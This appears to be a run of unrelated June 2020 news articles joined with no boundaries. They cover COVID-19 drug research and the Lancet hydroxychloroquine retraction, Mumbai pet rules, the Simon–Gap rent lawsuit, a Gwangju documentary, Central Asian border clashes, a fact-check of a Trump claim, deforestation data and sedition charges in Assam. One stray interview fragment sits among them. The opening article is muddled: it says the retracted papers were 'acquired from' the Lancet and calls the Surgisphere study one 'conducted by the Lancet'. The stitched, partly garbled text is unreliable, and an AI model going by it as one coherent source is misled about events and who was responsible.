(Photo : Bill Oxford on Unsplash) Severe Coronavirus Patient's Risk of Death Cut to Half by Arthritis Drug: Controversial COVID-19 Papers Found from the Lancet (Photo : Kendal on Unsplash) Severe Coronavirus Patient's Risk of Death Cut to Half by Arthritis Drug: Controversial COVID-19 Papers Found from the Lancet

According to The Daily Mail's latest report, a new study has shown that arthritis drugs can reduce the risk of death in severely ill coronavirus patients in half. Actemra is now being eyed by medical experts to be used in a treatment cocktail together with remdesivir.

Experts claimed that a rheumatoid arthritis drug can potentially improve the conditions of severely ill COVID-19 patients. Scientists believe that the immune system's overreaction to the novel coronavirus can be controlled by a medication called Tocilizumab, sold under the brand names Actemra and RoAcemtra, that have anti-inflammatory properties.

The coronavirus patients that were given doses of the drugs cut their risk of dying by half compared with those who didn't receive the treatment. However, there is a pressing need to test both experimental therapies and existing medicines to stop the viral disease since there are no treatments specifically approved for the virus, aside from emergency use authorization.

Severe coronavirus patient's risk of death cut in half by arthritis drug; Controversial COVID-19 papers found by The Lancet

The report explained that Tocilizumab belongs to a class of drugs called interleukin-6 (IL-6) inhibitors that can mitigate a dangerous overreaction of the body's immune system against the virus.

Meanwhile, controversial COVID-19 documents were acquired from Lancet, and the New England Medical Journal. According to Fox News' latest report, controversial papers on COVID-19 treatments were retracted by the influential New England Medical Journal and the Lancet.

The acquired database was used by the Chicago company Surgisphere Corp., conducting an observational study of nearly 100,000 patients. The results were published on May 22 in the Lancet that tied chloroquine and hydroxychloroquine, anti-malaria drugs, to a higher risk of death in hospitalized coronavirus patients.

"Today, three of the authors have retracted 'Hydroxychloroquine or chloroquine with or without a macrolide for treatment of COVID-19: a multinational registry analysis," tweeted the Lancet on Thursday, June 4, expressing its concern with the results of the study.

pic.twitter.com/pB0FBj6EXr Today, three of the authors have retracted "Hydroxychloroquine or chloroquine with or without a macrolide for treatment of COVID-19: a multinational registry analysis" Read the Retraction notice and statement from The Lancet https://t.co/pPNCJ3nO8n  The Lancet (@TheLancet) June 4, 2020

The Lancet stated that the company that conducted the study was unable to complete an independent audit of the data underpinning their analysis.

"As a result, they have concluded that they 'can no longer vouch for the veracity of the primary data sources.' The Lancet takes issues of scientific integrity extremely seriously, and there are many outstanding questions about Surgisphere and the data that were allegedly included in this study," stated the Lancet.

The study conducted by the Lancet had wide influence because of its size, although the experiment wasn't a rigorous one that could give definitive answers. The World Health Organization (WHO) confirmed that it would temporarily stop a study of hydroxychloroquine, while hospitals in France will stop allowing the use of the medicine.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Lane: It is another example, I think, of how we embrace dialog. I had consulted with a professor of racism at the University of Pennsylvania, and he advised me to be careful that being too PC would perhaps have us remember history not the way it really was. Having our Fab Five play revolutionary heroes, when the world was so different back then, it makes your jaw drop a little bit. At first you might think it's Jonathan [Van Ness] in a dress that might cause attention, but it's Karamo as George Washington that makes you go, "Wow." It's kind of like "Hamilton." Are we to say that actors of color don't play these parts? Or does it actually open the eyes of all the young people in the audience to say, "I see myself in that person now."
Maharashtra government has informed the Bombay high court (HC) that the pets are allowed to be taken outdoors 20 minutes daily while citing the Animal Welfare Board guidelines issued on June 1 amid the easing of nationwide lockdown restrictions, which were enforced on March 25 to contain the spread of the raging coronavirus disease (Covid-19) outbreak.

However, the state authorities have said that the 20-minute slot would vary from one neighbourhood to another, and the same rule would not be applicable to containment zones.

Later, a separate circular will be issued on pets outdoor movement in the containment zones.

State advocate-general Ashutosh Kumbhakoni told the two-member division HC bench, comprising chief justice Dipankar Datta and justice AA Sayyed, about the governments circular for pet owners while responding to a public interest litigation (PIL) filed by animal rights activist, Vineeta Tandon, who had sought the courts directions to the state authorities regarding the lifting of restrictions for pets movement outdoors amid the pandemic.

Kumbhakoni said the circular has partially lifted the restrictions.

Kumbhakoni said the Animal Welfare Board, which is a statutory body constituted under Section 4 of the Prevention of Cruelty to Animals Act, 1960, had issued the guidelines for taking pets to outdoors daily for a stipulated period of 20 minutes, despite the prevailing lockdown restrictions.

The PIL had also sought directions to the police to allow people to feed stray animals during the lockdown and to allow movement of veterinary ambulances and private vehicles to take ailing animals to veterinary hospitals.

Additional government pleader Manish Pabale requested the court that all the pleas raised in the petition had been addressed and the PIL could be disposed of.

The court said it would pronounce its order later after it heard the submissions of the state government and the petitioner.


SAN FRANCISCO (dpa-AFX) - Mall owner Simon Property Group has filed a lawsuit against one of its biggest tenants, Gap Inc., for failing to pay rent on stores that were closed due to the coronavirus pandemic, according to reports.



The lawsuit reportedly filed by Simon Property in Delaware state court earlier this week claims that Gap failed to pay $65.9 million in rent and other charges. Simon Property is the biggest mall owner in the U.S. and Gap has more than 400 stores in Simon Property malls.



In April, Gap said it suspended rent payments under the leases for its stores in North America, which were closed due to the COVID-19 pandemic. The apparel retailer noted that these rent payments amount to about $115 million per month.



At that time, Gap added it was in talks with the counter-parties under those leases to defer or abate the applicable rent during the store closure period. However, the company noted that if it was unable to renegotiate and modify lease terms, it could be deemed to be in default.



Gap and other brick-and-mortar retailers have been severely impacted by the coronavirus pandemic. Following the temporary closure of its stores in March, Gap furloughed the majority of its store teams in the U.S. and Canada, while reducing headcount across its corporate functions and temporarily reducing pay for its entire leadership team.



On Thursday, Gap reported a net loss for the first quarter of $932 million or $2.51 per share, compared to net income of $227 million or $0.60 per share in the year-ago period. Revenue for the quarter fell 43 percent to $2.11 billion from $3.71 billion last year.



In May, Simon Property said it reopened 77 of its U.S. retail properties that were temporarily closed in March in response to the coronavirus pandemic and said it was encouraged by the customer response. The company also reported a 20 percent decrease in its profit for the first quarter from last year.



Simon Property's owns almost 200 malls and outlet centers in the U.S. The company's decision to reopen its retail properties came after its major tenants such as retailers Macy's and Nordstrom announced plans to reopen their stores in a phased manner.



Copyright RTT News/dpa-AFX

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By Park Han-sol



"Let's stop talking about May."



"I wish I could."



To the people in Gwangju, May is more than just a month marking the end of spring. It is an agonizing word rife with blackouts, rows of coffins and sleepless nights.



Director Kang Sang-woo's 2019 documentary "Kim-Gun" begins with a far-right researcher's provocative claim about North Korean involvement in the 1980 Gwangju pro-democracy movement.



Ji Man-won advances a conspiracy theory through facial analysis software that nearly 600 demonstrators in Gwangju were North Korea agents who staged a "riot," not a grassroots bottom-up protest for democracy. He then names these cryptic figures as "Gwang-su."





The iconic photo of "Kim-Gun" (Mr. Kim) taken during the 1980 Gwangju pro-democracy movement. / Courtesy of the DMZ International Documentary Film Festival
The School Meals Program of the UN World Food Program (WFP) will continue in Armenia, regardless of the schools being closed. A respective joint letter was signed by Zaruhi Batoyan, the Minister of Labor and Social Affairs, and Jelena Milosevic, WFP Representative and Country Director in Armenia.

According to the agreement, this program will continue to be implemented, but in the form of a "school food response to crisis situation" program, for about 29,300 schoolchildren.

The WFP will provide about 233 million drams as one-time support under the conditions of the COVID-19 pandemic, and for the effective implementation of this program in Yerevan and all provinces of Armenia.

The beneficiaries of this program will be the 6- to 9-year-old schoolchildren of the families that are included in the family benefit system as of June 2020, and 8,000 drams, each, will be allocated for 40 days for each of these kids.
TASHKENT -- Uzbek President Shavkat Mirziyoev is touring the eastern region of Ferghana days after simmering ethnic unrest boiled over again near the region's Sokh exclave within neighboring Kyrgyzstan.



The Uzbek presidential office said on June 5 that Mirziyoev left Tashkent, the capital, for Ferghana "to get acquainted with the ongoing social and economic reforms and the residents' everyday life."



The office did not say if Mirziyoev plans to visit the troubled Sokh exclave within Kyrgyzstan's southern region of Batken.



Clashes between Kyrgyz villagers and residents of the exclave erupted on May 31 over a dispute about the ownership of a spring located in the area.

On June 1, while getting acquainted with the aftermath of the clashes, Uzbek Prime Minister Abdulla Aripov told Sokh residents that Mirzioyev would visit the Ferghana region as well.



The Sokh district administration said then that 187 local residents were injured in the clashes, 15 of whom had been transferred by helicopter to the Ferghana Regional Central Hospital, while others were being treated in the Sokh District Hospital.



Kyrgyzstan has said 25 of its citizens were injured in the clashes.



Many border areas in Central Asia have been restive since the Soviet Union's collapse in 1991.



The situation is particularly complicated near the numerous exclaves in the volatile Ferghana Valley, where the borders of Uzbekistan, Kyrgyzstan, and Tajikistan meet.

Sokh, one such exclave, is an ethnic Tajik-populated Uzbek territory within Kyrgyzstan's Batken region, where clashes have been common for years.



Tensions have been also been very high in recent weeks in the area close to a Tajik exclave called Vorukh in Kyrgyzstan's Batken region and nearby disputed segments of the Kyrgyz-Tajik border in recent weeks as well.
Spring graduates from the University of Houston-Downtown have dealt with adversity in recent years but those Gators have exhibited unwavering resilience, also known as grit.

From Hurricane Harvey to the ongoing COVID-19 pandemic, the Gator graduates have worked through it all.

But for four newly minted graduates and Honor students of the University Honors Program, their grit encompasses determination, unlimited opportunities for success, real-world learning and a University that truly cared about their success.

Elizabeth Gonzalez

For a lot of prospective and current students as well as alumni who choose UHD, close proximity to home and affordability is a significant factor. And, Elizabeth Gonzalez couldnt agree more.

I was able to graduate with a bachelors debt free  and Im extremely grateful, she said. Being close to home also allowed me to have the support network I needed to get through these past four years.

Gonzalez, who earned a bachelors in psychology with a minor in communication studies, wants a career as a licensed professional counselor for young kids and a play therapist. Her next step after UHD is to pursue a masters in mental health counseling.

More Information About the University of Houston-Downtown The University of Houston-Downtown - the second largest university in Houston - has served the educational needs of the nation's fourth-largest city since 1974. As one of four distinct public universities in the University of Houston System, UHD is a comprehensive four-year university led by Dr. Juan Sanchez Munoz. Annually, UHD educates more than 14,000 students; boasts more than 51,000 alumni and offers 44 bachelor's and eight master's degree programs within five colleges (Marilyn Davies College of Business; Humanities & Social Sciences; Public Service, Sciences & Technology; and University College). UHD has the most affordable tuition among four-year universities in Houston and one of the lowest in Texas. The University is noted nationally as a Hispanic-Serving Institution, Minority-Serving Institution and Military Friendly School. For more on the University of Houston-Downtown, visit www.uhd.edu. See More Collapse

I want to help individuals struggling with mental health problems because of my personal journey with mental health, Gonzalez emphasized. I also want to help end the stigma by making mental health services more readily available.

Following closely behind is Gonzalezs sister who is currently studying to be a bilingual teacher at UHD.

It was really great that my sister attended UHD with me for a few years because I was able to guide and show her the ropes, she said. My cousins are graduating soon, and I always make it a point to suggest UHD. The classes are small, the professors are great, the campus activities are fun, and theres always a friend around the corner.

Cynthia Andrade

First-generation graduate Cynthia Andrade chose UHD for its diversity and faculty-to-student ratio; however, she soon learned the Gator community  fellow students, faculty and staff  is what made all the difference when it came to Finishing UHD Strong.

I love how UHD is a close-knit community that cares about its students on a personal level, the accounting major said. UHD provides students with endless opportunities to grow as students and future professionals.

Andrades career aspiration is to pursue a graduate degree in Human Resources and shes also studying to take the CPA exam. Her advice for future Gator grads is simple  seek as many opportunities you can to enrich your future.

One cant truly know what the future holds, Andrade said. You are all capable of more than you know.

Namita Kadel

She arrived in the United States from Kathmandu, Nepal as a junior in high school. Admittedly, Namita Kadel didnt want to be far away from her parents, so she chose UHD with the intent of transferring to a larger university, but the best-laid plans  dont always go as planned.

I started loving UHD, she emphasized. I received so many opportunities that I probably would not have had if I went somewhere else  from working on campus to joining the University Honors Program in my first semester to becoming involved in the community to traveling to Mexico and Costa Rica on an academic trip through the Global Scholars Program.

Thanks to several scholarships, Kadel also studied abroad in France for a semester, which encouraged her to choose international business as a minor to accompany her bachelors in business management.

Small class sizes and my professors helped bring out the best in me, Kadel said. I have the tendency of getting lost in the crowd. But now four years later, Im graduating summa cum laude with all these great memories.

Presently, Kadel works as a program assistant at Partnership for the Advancement and Immersion of Refugees (PAIR), which help refugee students learn English, do better academically, and build social and emotional skills.

The best part of UHD for Kadel  diversity.

We not only have a diverse student body, but so is our faculty and staff, she said. I think thats really important to receive irreplaceable experience learning about other cultures and perspectives to work in such a diverse world.

With a sister who started attending UHD last fall. Kadel offers the following advice to fellow Gators.

UHD is a great university with a community that wants to help you realize your potential and reach your academic, personal and professional goals, she noted. There are so many resources available; make sure you utilize all of them. Explore the University and Downtown  get to know people  join the Gator community.

Isbah Khan

Khan, a double major in mathematics and philosophy, summed up her academic journey with Gator pride, grit, experience and an extended family.

With continuous academic support and enriching opportunities, UHD has helped me prepare for a successful career after college. From being part of Study Abroad to my involvement in campus organizations, UHD broadened my global and local experience, said Khan. As the second UHD alum in my family, Im proud to carry on the Gator Grit. I hope current and future Gators make the most of their time at UHD by taking advantage of the opportunities available to them. When necessary, seek help and guidance, the Gator community is here to help you succeed.

Virtual graduation

These graduates are among the nearly 1,300 Gators being honored during UHDs 2020 Virtual Graduation Celebration at 7 p.m. Thursday, June 11. All family and friends are invited to RSVP at https://tinyurl.com/y7hmpl7t to secure a spot in the virtual party.
Emir Of Qatar, His Highness Sheikh Tamim Bin Hamad Al-Thani Addressed The World Vaccine Summit 2020 In London, Via Video Conference

The Emir of Qatar His Highness Sheikh Tamim Bin Hamad Al-Thani addressed the World Vaccine Summit 2020 in London through video conferencing held on 4th June 2020.

In his speech and as usual, the Emir pledged twenty million dollars ($20, 000, 000.00) aid for the summit, which sets a target of US$ 7.4 billion to protect the next generation with vaccines, reduce disease inequality and create a healthier, safer and more prosperous world.

The Emir also reiterated Qatars unalloyed support for the Wolrd Health Organisation (WHO) in its fight against the devastating Coronavirus pandemic (COVID-19) epidemic, and to promote global readiness to confront infectious diseases in the future. A number of heads of states and governments, representatives of countries, heads of international and regional organizations and directors of many world companies attended the conference, on Thursday 4th June 2020.

Here is the full transcript of Emirs speech, culled from the Peninsula Online, Doha:

The Covid-19 pandemic is an unprecedented challenge and a threat to all humanity, on all levels.

In the absence of an effective vaccine or treatment, some countries and communities found themselves facing two choices.

Both are bitter, either to protect themselves by lockdowns, which might paralyse the economy, or not to sacrifice the economy, but risk people's lives.

Some countries chose to compromise by coexisting with the pandemic and fighting it at the same time.

This crisis showed that international cooperation and the exchange of experiences are indispensable.

This requires increasing the mutual efforts to eradicate Covid-19 using effective vaccines and medication, and getting ready to confront future pandemics in the long run.

Qatar did its best to respond quickly to the serious ramifications of the crisis and went above and beyond, taking preventive actions and measures to limit its impact, and to protect its citizens and residents.

Considering the significance of human solidarity in these testing times we offered over 20 countries around the world medical aid, including medical equipment and supplies, and building field hospitals, in addition to 140 million dollars in financial aid to the multilateral healthcare institutions that work in vaccine development and guarantee the effectiveness of medical care, especially in developing countries.

In this context, we invite the international community to work together to guarantee health equity regarding access to medication and the required medical equipment for all countries.

Qatar renews its support to the World Health Organization for its outstanding efforts in fighting the Covid-19 pandemic and reinforcing the global preparedness to combat any future pandemics.

I would like to declare Qatar's new commitment to provide an additional $20 million in aid.

Finally, I would like to express my gratitude once more to the United Kingdom for organizing this conference hoping that it will achieve its desires outcomes.

Sender:

Fatmata B. Bangura

Acting Programme Coordinator

Sheikh Tamim Bin Hamad Foundation (STBHF)
Mosques in Jordan opened for communal prayers for the first time in over two months on Friday, with thousands of police deployed to enforce strict social distancing rules at the usually packed places of worship.

The kingdom is gradually easing restrictions imposed to curb the coronavirus outbreak, which killed nine people in Jordan.

From Saturday, cafes and hotels can reopen and domestic flights will resume, although schools, universities and cinemas remain closed and most public gatherings are still banned.

Over 30,000 police were deployed to oversee crowds attending prayers at the country's 7,000 mosques on Friday, officials said.

Worshippers in the predominantly Muslim country were asked to wear masks, limit prayer time and perform the ablution rite, the act of washing the face, arms and legs before prayer, at home. In some mosques, the floor was marked to designate the spots where worshippers could lay down their prayer rugs at a safe distance from their neighbours.

Since a strict lockdown began in mid-March, the authorities have arrested several people, including clerics, for flouting the ban on prayers inside mosques.

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"My Admin has done more for the Black Community than any President since Abraham Lincoln. Passed Opportunity Zones with @SenatorTimScott, guaranteed funding for HBCU's, School Choice, passed Criminal Justice Reform, lowest Black unemployment, poverty, and crime rates in history."

- President Donald Trump, in a tweet, June 2, 2020

"My administration is delivering for African Americans like never before. No President has done more for our black community."

- Trump, in a campaign rally, March 2

- - -

Depending on the day, Trump likes to declare he has done more for African Americans than any other president - or, he might concede, since Abraham Lincoln. Five times since the start of the year Trump has asserted this, so it's clear we need to address it in detail.

In his most recent tweet, Trump pointed to specific achievements to bolster his claim, so we will see how this stands up to the work of previous presidents.

Lincoln, of course, freed the slaves and pressed for passage of constitutional amendments to give them equal status under the law. It's hard to top those achievements.

But the claim that Trump has exceeded every other president since Lincoln earned only derision from prominent historians. Instead, they said Lyndon B. Johnson, who signed into law the Civil Rights Act of 1964 and the Voting Rights Act of 1965, is clearly the president who had the most lasting impact on the lives of African Americans. These legislative victories were not easy, requiring Johnson to build coalitions with moderate Republicans and liberal Democrats to defeat the powerful segregationists in his own party who dominated the South.

Here's a sampling of historians who point to Johnson:

Michael Beschloss, historian and author of nine books on the presidency: "I would absolutely say that LBJ would be number #2."

David Garrow, Pulitzer-prize winning historian on the civil rights movement: "I believe no question that virtually all U.S. historians would rank LBJ #1 among presidents on 'who's done the most for the Black community" since the start of the 20th century.

H.W. Brands, historian at the University of Texas at Austin: "President Trump has made many outlandish claims, and this is squarely in that category. LBJ's Civil Rights Act and Voting Rights Act rank right next to Lincoln's Emancipation Proclamation."

Max Skidmore, a University of Missouri historian who assessed the performance of every president in a 2004 book: "Presidents who have done the most for black civil rights since Lincoln would include Ulysses S. Grant (securing creation of Department of Justice and empowering the attorney general to prosecute the Ku Klux Klan and racial violence, etc.), Harry Truman (de-segregating the military, using executive order to circumvent a Congress dominated by the south), LBJ (working for, and signing the Civil Rights Act of 1964 and the Voting Rights of 1965. . . . Additionally, it is little remembered, but when LBJ signed his landmark Medicare Act in 1965, he secured de-segregation of hospitals throughout the south, which had been universal, and anywhere else it existed. That was an enormous accomplishment. Barack Obama should be included for his success in passing the Affordable Care Act, which is one of the greatest anti-poverty measures that this country has ever enacted."

David Greenberg, a Rutgers University scholar who has written a history of White House spin in the past century: "I don't see how Trump or anyone can seriously believe this claim. Clearly, the Civil Rights Act and Voting Rights Act were monumental achievements that changed the life of black Americans and LBJ will always be remembered for working to pass those into law. We can also point to important achievements under FDR, Truman, Kennedy, and many other presidents far more notable."

As for Trump's list of achievements in his tweet, that was dismissed as small beer. "Trump's so-called accomplishments will not even be noticed by historians five years from now," Brands said.

Trump's Opportunity Zones program, for instance, was supposed to channel investments into poor neighborhoods. But the New York Times revealed the "most visible impact so far has been to set off a feeding frenzy among the wealthiest Americans. They are poised to reap billions in untaxed profits on high-end apartment buildings and hotels in trendy neighborhoods, storage facilities that employ only a handful of workers or student housing in bustling college towns."

The funding for Historically Black Colleges and Universities (HBCU) is a congressional initiative. "Congress does all this work and presents it to him in the budget, and he can choose to sign it. This year, he held off on signing some significant STEM funding, making HBCUs beg for it," said Marybeth Gasman, a Rutgers professor and one of the leading authorities on HBCUs. "Most HBCU support is the result of Congress. Trump has promised all kinds of things to HBCUs and has followed through on little. Under Trump, the White House Initiative for HBCUs was moved to the White House and is quite quiet compared to the work under President Obama's administration."

School choice offers families money to attend charter schools or home-school eduction. Passage of the First Step Act, which overhauled federal sentencing laws, was a scaled-down version of an effort that began in 2015 and built on a law passed by Obama.

As for black unemployment rates, they continued on a downward trend that started in the Obama administration - until the coronavirus pandemic. "While it's true that economic conditions under Trump continued to improve for blacks as well as whites, the devastation wrought by the pandemic has complicated his efforts to claim credit," Greenberg said. "If he gets credit for the improving economy through early 2020, why should he avoid blame for the current state of the economy?"

On the negative side, many experts faulted Trump for his attacks on voting rights (which mainly benefit minorities) and his statements as president that have been labeled as racist and have fanned the flames of racial division.

We asked the White House for a defense of Trump's tweet, in light of the objections from historians, and did not get a response.

The judgment of history is fickle and reputations rise and fall over time. But we feel confident enough that the achievements touted by Trump do not come close to LBJ's actions - let alone several other presidents - that at this time we can award this claim Four Pinocchios. Trump is never one to be modest, but this kind of bragging is simply ridiculous.

Four Pinocchios

- - -

The Fact Checker is a verified signatory to the International Fact-Checking Network code of principles
India's total coronavirus tally has reached 2,26,770, including 1,10,960 active cases. Though 1,09,462 patients have recovered too, new hotspot areas are emerging, thus causing worry for the government. As per Niti Aayog CEO Amitabh Kant, 64 per cent of India's COVID-19 cases have come from 15 districts, with Mumbai, Delhi and Chennai topping the chart.

Mumbai, one of the biggest global hotspots in terms of coronavirus, contributes 57.37 per cent of the state's cases and 19.94 per cent of India's cases. Delhi's total cases contribute 11.56 per cent of the nation-wide tally.

64% of Indias #COVID19 cases come from 15 districts/cities. Contribution of top 5 being 52%. Chengalpattu in Tamilnadu is a new addition- it has registered major growth since May 18. We need to dynamically contain new emerging areas. pic.twitter.com/aIpSxGxpTT  Amitabh Kant (@amitabhk87) June 5, 2020

Tamil Nadu's capital has the second-highest share in its total tally at 67.91 per cent. Chennai's national contribution is 8.59 per cent. Ahmedabad's contribution to the state's tally is around 72.11 per cent, while it accounts for 6.39 per cent of the country's cases.

Tamil Nadu's Chengapattu district has been the new addition in the red zone districts. The districts account for 5.26 per cent of the state's total cases and 0.67 per cent of India's total coronavirus tally.

Also read: Unlock 1.0: Malls, restaurants to open from June 8; check full list of guidelines

India on Friday has reported its highest single-day jump in coronavirus cases in the past 24-hour. As per union health ministry data, India reported 9,851 new cases of coronavirus since Thursday morning. The death counts in the last 24-hour surged to 273.

Overall, India's coronavirus cases tally has now jumped to 2,26,770, out of which 1,10,960 are active cases,1,09,462 are cured/discharged/migrated and 6,348 dead, the ministry data added.

Also read: Unlock 1.0: Restaurants to encourage takeaways, seat 50% of total capacity

India is the world's seventh worst affected nation from coronavirus. In India, Maharashtra, Delhi, Tamil Nadu, and Gujarat have more than 10,000. Moreover, in Rajasthan and Uttar Pradesh, the COVID positive cases are set to breach 10,000 mark.

Maharashtra's total confirmed cases' tally has surged to 77,793, Tamil Nadu 27,256, Delhi 25,004, and Gujarat 18,584. So far, Rajasthan has registered 9,862 COVID cases, and UP 9,237 cases.

Also read: Coronavirus update: India reports highest single-day jump with 9,851 new cases; tally surges to 2.26 lakh
Mongabay

By Morgan Erickson-Davis

Last year the world lost some 119,000 square kilometres of tree cover  an area the size of Nicaragua  according to satellite data collated by the University of Maryland (UMD) released today by World Resources Institute (WRI). Almost a third of that loss  or an area the size of Switzerland  came from primary humid tropical forests, which house most of the planets plant and animal species and play an important role in climate regulation.

The data run from 2001 to 2019 and show an overall increase in the deforestation of primary forest last year over 2018, thus ending a two-year decline and constituting the third-highest year of primary forest loss since the turn of the century. Brazil, the Democratic Republic of the Congo and Indonesia took the top three spots in terms of absolute primary forest loss, followed by Bolivia, Peru and Malaysia. The data also show some success stories, with deforestation trending down in several countries.

While what happens in 2020 remains to be seen, researchers worry the stories contained within the UMD data along with impacts from the COVID-19 crisis may portend another hard year for the worlds forests.

Heavy hitters

As in years past, Brazil won the top spot as the country that experienced the highest rate of deforestation overall. Around 46% occurred within primary forest, with 14,000 sq km (5,405 sq mi) cleared in 2019. With the exceptions of the countrys record-level, fire-driven deforestation in 2016 and 2017, Brazils primary forest loss was higher in 2019 than at any other time during the previous 13 years.

In terms of overall tree cover loss, which lumps in secondary forest, dry forest and also the occasional tree plantation, Brazil crept down a bit from 2018, with 27,000 sq km lost last year. The data show Brazil has lost 11% of its tree cover since 2000, and forest loss was up slightly in the Amazon Basin overall.

Drivers of deforestation in Brazil are many, with logging, mining, agribusiness and fires all taking huge tolls on the countrys forests. Sources on the ground say the rhetoric of Brazils far-right president Jair Bolsonaro is fanning the flames and encouraging loggers, ranchers and miners to invade forests  including those in protected areas. Researchers are concerned that forest loss will rise in 2020 as fires set to prepare land cleared in 2019 for agriculture spread into nearby forest.

Next up is the Democratic Republic of the Congo (DRC), which lost 4,750 sq km of primary forest in 2019 and 12,000 sq km of general tree cover last year. While both overall tree cover loss and primary forest loss declined somewhat between 2018 and 2019, numbers are still hovering around the high-water mark set in 2016-2017.

Small-scale agriculture appears to be driving the bulk of deforestation in the DRC and other countries of the Congo Basin. However, researchers caution a new wave of industrial deforestation may be on the horizon and that the Congo Basin stands to lose all its primary forest by the end of the century if deforestation rates dont subside.

Bolivia had a banner year for deforestation in 2019, losing more forest since UMD began collecting data in 2001. Overall, the country lost 1.3% of its tree cover last year as record-breaking wildfires spread out of control in the latter half of the year. The fires were felt particularly acutely in the Chiquitania dry forests of the department of Santa Cruz, which lost nearly 3% of its tree cover in the space of a few months.

It could take 100 years for Chiquitania forests to recover, said WRI Mikaela Weiss, project manager of WRIs online monitoring platform Global Forest Watch, which visualizes the UMD data.

Officials attribute the fires to intentional burning to convert forest to farmland. Sources say this practice increased after former president Evo Morales signed a decree earlier in 2019 that expanded land for livestock production and the agribusiness sector. Despite the ousting of Morales in November, conservationists say it looks like Bolivia may be in for another heavy fire season in 2020.

Another country that experienced record-breaking fires is Australia. Referred to as the Black Summer, the fire season of late 2019/early 2020 ravaged an estimated 186,000 sq km, killing at least 34 people and potentially more than a billion animals. Researchers say the fires damaged the habitat of 648 threatened species in Queensland alone.

Fire is not uncommon in many of Australias forests, and some of the countrys famed eucalypt tree species even depend on it to spread their seeds. But the scale and intensity of the 2019-2020 fire season was unprecedented, and affected ecosystems that are not so fire tolerant.

Whereas normal fires might char the bark of a tree, last years fires turned trees to charcoal, said Rod Taylor, global forests director at WRI.

Researchers say climate change and poor forest management practices likely contributed to the severity of the fires. The Victoria state government recently announced it will ban logging in 2030, but researchers say allowing logging in the meantime will open up forests to future fires.

Bright spots

Once again, forest loss dropped in Indonesia, marking 2019 the third year in a row where deforestation declined. Primary forest loss in the country  while still ranking third in the world overall  took a particularly deep dive, hitting its lowest number since 2003.

Researchers attribute this downturn to successful forest protection policies enacted after the countrys unprecedented 2016 fire crisis. However, WRI analysts caution that clouds and haze may have obscured some deforestation events that happened in late 2019, which means that the actual level of forest loss may be higher.

Over in West Africa, the data show primary forest loss dropped 50% in Ghana and Cote dIvoire in 2019 following a big uptick the previous year. WRI analysts say this drop is likely due to effective conservation initiatives and pledges by the countries and major chocolate companies to end deforestation.

Colombia showed its first reduction in primary forest loss in five years, which declined 35% from a 17-year high in 2018 and settled at the countrys lowest level since 2016. Researchers say Colombias rising deforestation rate over the past few years was fueled by the demobilization of the FARC rebel group, which allowed agribusiness to move into forested areas that were previously off limits. However, preliminary data for 2020 indicate deforestation in Colombia may again be on the rise, and sources report small farmers and armed groups are moving into national parks.

After having the dubious honor of proportionally losing the most forest cover in 2018, Madagascar appears to have bounced back. The data show the country reduced its primary forest loss rate by nearly half, settling at the lowest level since 2012. However, as with Indonesia, clouds may have obscured late-2019 deforestation events in some areas from being picked up by satellites.

Uncertain times

2020 was supposed to be the year we halved deforestation, but were going in the wrong direction, said Frances Seymour, a Distinguished Senior Fellow at WRI and an expert in sustainable development.

In a blog post that accompanied the release of the 2019 data, Seymour points to three things that can have big impacts on deforestation reduction: legal recognition of indigenous land rights, effective law enforcement and support from international markets and financial institutions.

So if we know what works, why isnt it working?

It all comes down to money, it seems. In a post written in 2018 in response to yet another year of high deforestation numbers, Seymour says cash crops like soy, palm oil and beef are given preferential land use, buoyed by policies encouraging the use of commodities for livestock feed and biofuels. Corrupt authorities turn blind eyes to illegal logging, with some government officials allegedly even directly involved in the illegal timber trade. Meanwhile, indigenous communities, which research shows are often the most effective forest stewards, are often unrecognized as owners of the land theyve lived on for generations  and murdered when they stand up to encroachers.

The situation reminds me of the many movies that feature a runaway train: The throttle of global demand for commodities has been engaged, and the brakes of law enforcement and indigenous stewardship have been disabled, Seymour says in her post. The only way to prevent a disastrous train wreck is for the hero (or heroine) to get into the conductors seat, remove the brick on the accelerator, and hit the emergency brakes.

In order to hit the emergency brakes on the runaway train of deforestation, Seymour says emphasis must be placed on changing the incentives driving forest loss on a domestic, local level.

Seymour is also worried about how the COVID-19 pandemic and deforestation might play into each other. She warns that forest fires could worsen the condition of people affected by the virus whose lungs are more sensitive to smoke pollution and says governments shouldnt relax forest protection as a way to recover financially from the pandemic. She also anticipates an increase in forest-dependent livelihoods as jobs are lost and urges the creation of forest-friendly jobs and temporary cash transfers.

Consideration of forests in pandemic recovery efforts will determine if the tree cover loss numbers pivot up or down in the years to come, Seymour said in her 2019 post. Instead of actions that postpone overdue transitions to more resilient, low-carbon economies to avert the looming crisis of climate change, governments now have an opportunity to accelerate them.
Reading the 'Communist Manifesto', Lenin's works, Mao's life, calling friends 'Comrade' and greeting them with 'Lal Salaam' are among the reasons cited by the NIA for charging peasant leader and activist Akhil Gogoi under sedition and anti-terror laws.

The National Investigation Agency filed the charge sheet, a copy of which is with PTI, before the Special Judge, NIA, in Guwahati on May 29 under sections 120B (criminal conspiracy), 124A (sedition), 153A (promoting enmity between two groups on grounds of religion, race etc), 153B (imputations, assertions prejudicial to national integration) of the IPC.

Provisions of sections 18 and 39 of the stringent Unlawful Activities (Prevention) Act, an anti-terror law, were also invoked against him and three others. If convicted, they may end up getting sentenced for life.

The special NIA court had granted bail to Gogoi on March 17 and subsequently to others after the investigating agency failed to file a charge sheet within the stipulated 90 days. The Gauhati High Court later stayed the bail.

The NIA is investigating the alleged terror angle behind the violent protests against the contentious Citizenship (Amendment) Act across Assam in December last year. Gogoi and three other Krishak Mukti Sangram Samiti (KMSS) leaders--Dhairjya Konwar, Bittu Sonowal and Manash Konwar--are accused in the case.

"During the investigation, incriminating documents, material objects, have been seized. Further, statements of witnesses in connection with the instant case have been recorded which reveal the conspiracy of the accused," the charge sheet said.

The NIA claimed it seized a number of books on "communist ideology" such as 'Communist Manifesto' in Assamese, "Lenin's Selected Works" in English and a book on Mao Zedong in Assamese.

Besides, "Introduction to Socialism" and a number of other books on socialism and dialectical materialism were also seized, the anti-terror probe agency said, presenting a long list of such literature with the charge sheet and alleging that the accused followed the ideology of the CPI (Maoist), a banned organisation.

The charge sheet, the main body of which is of only 20 pages and has been prepared by NIA Additional Superintendent of Police D R Singh, has three annexures -- lists of witnesses, documents and material objects.

"Bittu Sonowal had referred to some friends and they addressed him as 'Comrade' and used words 'Lal Salam'," the NIA said and attached a DVD containing the Facebook profile of the accused.

"One of his Facebook post(s) is of a picture of Lenin with words 'The Capitalists will sell us the rope with which we will hang them'," the charge sheet said.

